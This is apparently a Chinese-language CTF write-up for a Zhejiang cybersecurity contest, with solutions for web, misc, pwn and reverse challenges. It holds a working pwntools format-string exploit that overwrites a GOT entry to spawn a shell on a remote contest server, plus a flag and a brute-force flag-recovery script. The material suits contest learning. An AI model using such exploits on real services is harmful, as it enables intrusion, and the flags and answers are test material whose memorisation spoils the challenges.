浙江省網絡安全大賽
ch1pppppppp
第一嘻嘻嘻
web
石慶數碼
打開網頁點擊GOBACK
打開F12里面就有
-w471
眼疾手快
打開網頁
看js
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});
在控制臺
-w356
然后點擊一下就好了
-w417
你追我趕
56F7D064830B4B154C94DEF7AFAA56B1
AD27619CFCF74D7B3E5615870D2E5271
CAE1304F59AD5B5E41ADC04E21BC75A1
3AD92C62A81E4A25752F4C05387A85E2
misc
躲躲藏藏
把圖片下載下來
binwalk一下里面有zip
binwalk -e 一下就可以解壓
就可以看到了xls
把xls的文件格式的頭改成doc
-w634
可以找到
zjctf{GFDGFA_GGDFFXXFFA_GGADXG_DFDGDGFAFA_GGDFFXXF}
圓盤解密一下就好了
pwn
一夫當關
簡單的格式化字符串漏洞，直接給exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./59XeYrdIHL')
bin = ELF('./59XeYrdIHL')
else:
cn = remote('sec4.hdu.edu.cn',9999)
bin = ELF('./59XeYrdIHL')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
buf = '0x%08lx'
cn.sendline(buf)
lbase = int(cn.recvline()[:-1],16) - 0x3C4963
print('lbase: ' +hex(lbase))
a = ((lbase + 0x45216) & 0xff0000) >> 16
b = (lbase + 0x45216) & 0xffff
buf ='%' +str(a)+'x'+'%12$hhn'
buf+='%'+ str(b - a) + 'x'+'%13$hn'
buf = buf.ljust(32,'a')
buf+= p64(0x601018+2)
buf+= p64(0x601018)
cn.sendline(buf)
cn.interactive()
re
逆向逆向
在IDA中分析程序邏輯，不難發現是一個base32加密（去掉了末尾的=進行隱藏），把結果字符串加上被去掉的四個‘=’拖到在線decode網站解密得到flag
加密應用
將apk解壓，將得到的dex文件轉成jar拖進jd-gui，看到如下函數
package com.example.ctf;
import java.util.Vector;
public class a
{
int[] aa = { 57, 60, 80, 113, 64, 57, 74, 79, 75, 55, 59, 68, 78, 69, 55, 61, 57, 59, 62, 74, 68, 63, 60, 62, 69, 59, 72, 68, 74, 69, 67, 68, 55, 115, 63 };
int[] bb = { 1190700, 733784, 659883, 1390032, 656600, 2723220, 632949, 608400, 930852, 1140624, 861258, 1105425, 699867, 1215808, 547658, 689472, 515450, 833508, 670453, 680823, 1072512, 699840, 614169, 719415, 894348, 632100, 942391, 1008600, 895279, 566150, 1065456, 751389, 836294, 1174212, 2937500 };
public boolean a(String paramString)
{
if (paramString.length() != this.aa.length) {
return false;
}
Vector localVector = new Vector();
int i = 0;
if (i >= paramString.length()) {
if (localVector.size() == this.aa.length) {
i = 0;
}
}
for (;;)
{
if (i >= localVector.size())
{
return true;
if (((paramString.charAt(i) < 'A') || (paramString.charAt(i) > 'Z')) && (paramString.charAt(i) != '{') && (paramString.charAt(i) != '}')) {
return false;
}
localVector.add(Integer.valueOf(paramString.charAt(i)));
i += 1;
break;
}
if (Math.pow(((Integer)localVector.get(i)).intValue(), 3.0D) + Math.pow(((Integer)localVector.get(i)).intValue(), 2.0D) * this.aa[i] != this.bb[i]) {
return false;
}
i += 1;
}
}
}
發現可以爆破，腳本如下
import string
aa = [57, 60, 80, 113, 64, 57, 74, 79, 75, 55, 59, 68, 78, 69, 55, 61, 57, 59, 62, 74, 68, 63, 60, 62, 69, 59, 72, 68, 74, 69, 67, 68, 55, 115, 63]
bb = [1190700, 733784, 659883, 1390032, 656600, 2723220, 632949, 608400, 930852, 1140624, 861258, 1105425, 699867, 1215808, 547658, 0xA8540, 515450, 833508, 670453, 680823, 0x105D80, 699840, 614169, 719415, 894348, 632100, 942391, 1008600, 895279, 566150, 0x1041F0, 751389, 836294, 1174212, 2937500]
flag = ''
for i in range(len(aa)):
for j in string.printable:
if(pow(ord(j),3) + pow(ord(j),2) * aa[i] == bb[i]):
flag += j
break
print(flag)
